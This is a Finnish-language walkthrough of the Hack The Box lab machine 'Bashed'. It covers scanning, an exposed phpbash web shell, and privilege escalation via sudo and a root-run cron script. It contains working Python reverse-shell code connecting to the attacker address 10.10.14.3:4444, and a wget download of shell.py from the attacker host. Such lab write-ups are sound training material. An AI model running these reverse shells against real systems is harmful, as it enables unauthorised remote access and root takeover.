Ensimmäisenä toimenpiteenä lisätty /etc/hosts -tiedostoon kohteen IP-osoite 10.10.10.68 vastaamaan osoitetta bashed.htb.
Tiedustelu
Nmap
Nmap-skannauksesta nähdään, että kohteessa on avoinna vain portti 80 (HTTP), jossa on käynnissä Apache HTTP-palvelin. Kohteessa on Linux-käyttöjärjestelmä.
nmap -sVC -Pn -T4 -p- bashed.htb
HTTP
Selaimella aukaistu osoite bashed.htb. Etusivulla mainitaan phpbash -kehitysympäristö.
Sivulla bashed.htb/single.html on linkki GitHub repositoryyn: https://github.com/Arrexel/phpbash
GitHub repositoryssa mainitaan, että phpbash on puoliksi interaktiivinen web shell, jota käytetään silloin kun reverse shellin käyttäminen ei ole mahdollista.
Gobuster
Gobusterilla tehty hakemistoskannaus osoitteeseen bashed.htb komennolla:
gobuster dir -u http://bashed.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Jalansija
Hakemistossa /dev on mahdollista tarkastella tiedostoja. Huomataan tiedosto phpbash.php.
Avattu tiedosto phpbash.php ja saatiin selaimessa shell kohteeseen.
User flag löytyi hakemistosta /home/arrexel.
Oikeuksien kohottaminen
Jotta saadaan täysin interaktiivinen shell, käynnistetty hyökkäyskoneessa Netcat-kuuntelija porttiin 4444 reverse shellin muodostamista varten.
Suoritettu kohteessa komento:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.3",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Netcat-kuuntelijassa onnistuneesti saatiin reverse shell kohteeseen (10.10.10.68). Pythonilla otettu Bash shell käyttöön.
python -c 'import pty; pty.spawn("/bin/bash");'
Juurihakemistosta huomataan hakemisto /scripts jonka omistaa käyttäjä scriptmanager.
Komennolla sudo -l tarkistettu mitä komentoja käyttäjä www-data voi suorittaa kohteessa sudona. Huomataan, että voidaan suorittaa mitä tahansa komentoja käyttäjänä scriptmanager.
Komennolla: sudo -u scriptmanager bash -i otettu bash-shell käyttöön käyttäjänä scriptmanager.
Hakemisto /scripts sisältää tiedostot test.py ja test.txt, jonka omistaa root.
Tiedoston test.txt tiedoista huomataan, että tiedostoa on viimeksi muokattu tänään 25. syyskuuta. Koska tiedoston omistaa root, voidaan tehdä oletus, että tiedosto suoritetaan root cron-työnä.
Hyökkäyskoneessa luotu Python reverse shell skripti:
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.3",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")
Hyökkäyskoneessa käynnistetty Python HTTP-palvelin porttiin 80 samassa hakemistossa, jossa luotu shell.py tiedosto sijaitsee.
python3 -m http.server 80
Kohteessa ladattu shell.py Python-skripti hyökkäyskoneesta komennolla:
wget 10.10.14.3/shell.py
Hyökkäyskoneessa käynnistetty Netcat-kuuntelija porttiin 4444 ja muutaman sekunnin kuluttua saatiin reverse shell roottina.
nc -lvnp 4444
Root flag löytyi hakemistosta /root.